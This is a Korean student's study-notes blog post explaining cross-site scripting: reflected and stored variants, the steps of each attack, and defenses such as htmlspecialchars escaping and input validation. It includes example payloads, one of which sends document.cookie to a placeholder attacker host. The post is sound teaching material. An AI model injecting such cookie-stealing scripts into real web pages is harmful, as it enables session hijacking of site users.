yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

XSS (크로스 사이트 스크립팅) 본문

웹/웹 해킹

XSS (크로스 사이트 스크립팅)

yehey 2020. 9. 16. 18:45

XSS (크로스 사이트 스크립팅) 공격

: 공격자가 악의적으로 스크립트 코드를 웹 애플리케이션에 삽입한 후 웹 사용자의 웹 브라우저에서 해당 코드가 실행 되도록 만드는 공격 

 

-서버의 취약점을 이용해 클라이언트 쪽을 공격한다. (다른 공격들은 보통 서버를 공격)

-자바 스크립트를 사용한다.

 

공격에 사용하는 자바스크립트 코드에 따라 다양한 공격을 시도할 수 있다.

 

XSS 공격 종류

Reflected XSS: 요청에 입력된 스크립트 코드가 즉시 응답을 통해 출력 되는 취약점을 이용

(입력된 스크립트가 반사되는 것처럼 동작해서 붙은 이름)

 

Stored XSS: 스크립트 코드가 요청을 전송한 시점에 바로 반사되는 것이 아니라 웹 서버에 저장되었다가 실행

 

Reflected XSS 과정

 

reflected XSS 과정 (공격자가 가운데)

1. 공격자가 이메일 , 게시판 등을 이용해 피싱, 이때 세션 쿠키를 탈취하는 스크립트 코드를 삽입한 HTTP 요청 링크 를 포함함
2. 사용자가 이 링크를 클릭하면 스크립트 코드가 삽입된 요청이 웹사이트로 전송
3. 웹사이트가 입력된 스크립트를 반사하여 웹 페이지에 출력
4. 웹 브라우저가 스크립트 실행 , 그 결과 세션 쿠키를 공격자에게 전달

 

-스트립트가 자동으로 실행되며 세션 쿠키도 자동으로 전달된다.

 

//자바스크립트를 이용한 Reflected XSS 공격 예시

<script>alert(document.cookie)</script>
//쿠키를 출력하는 자바 스크립트

<script>document.location='attackers host address'+document.cookie</script>
//쿠키를 공격자의 호스트 주소로 전달하는 자바 스크립트

 

Stored XSS  과정

stored XSS 과정

 

1. 공격자가 웹사이트의 게시판 등에 악의적인 스크립트 를 삽입한 게시글을 남김 (피싱 x) 
2. 다른 사용자들이 게시판에 접속하여 공격자가 작성한 게시물을 읽음
3. 이때 게시물에 저장되어 있던 스크립트 코드가 사용자에게 전달
4. 웹 브라우저가 스크립트 코드를 실행하여 세션 쿠키가 공격자에게 전달

 

-Reflected XSS와 달리 해당 페이지를 접속하는 모든 사용자가 공격 당할 수 있음

 

XSS 공격 대응 방법

1. 스크립트의 문자를 변환한다.

ex. htmlspecialchars(): 특수 문자를 HTML 엔티티로 변환해주는 함수

htmlspecialchars() 사용 예시
< --> &lt;   /   > --> &gt;   /    " --> &quot;    /   '  --> &#39;


<script>  -->  &lt;script&gt;

2. 사용자가 입력한 값에 대한 검증과 사용자가 입력한 값을 그대로 출력할 때 불필요한 문자열 유무 검증 필요

 

' > 웹 해킹' 카테고리의 다른 글

SQL injection 실습1 (WHERE 구문 우회)  (0) 2020.09.29
Brute Force Attack + DVWA실습  (0) 2020.09.27
CSRF (크로스 사이트 요청 변조)  (0) 2020.09.18
커맨드 인젝션 공격 / Command injection  (0) 2020.09.12
SQL injection  (0) 2020.09.11
Comments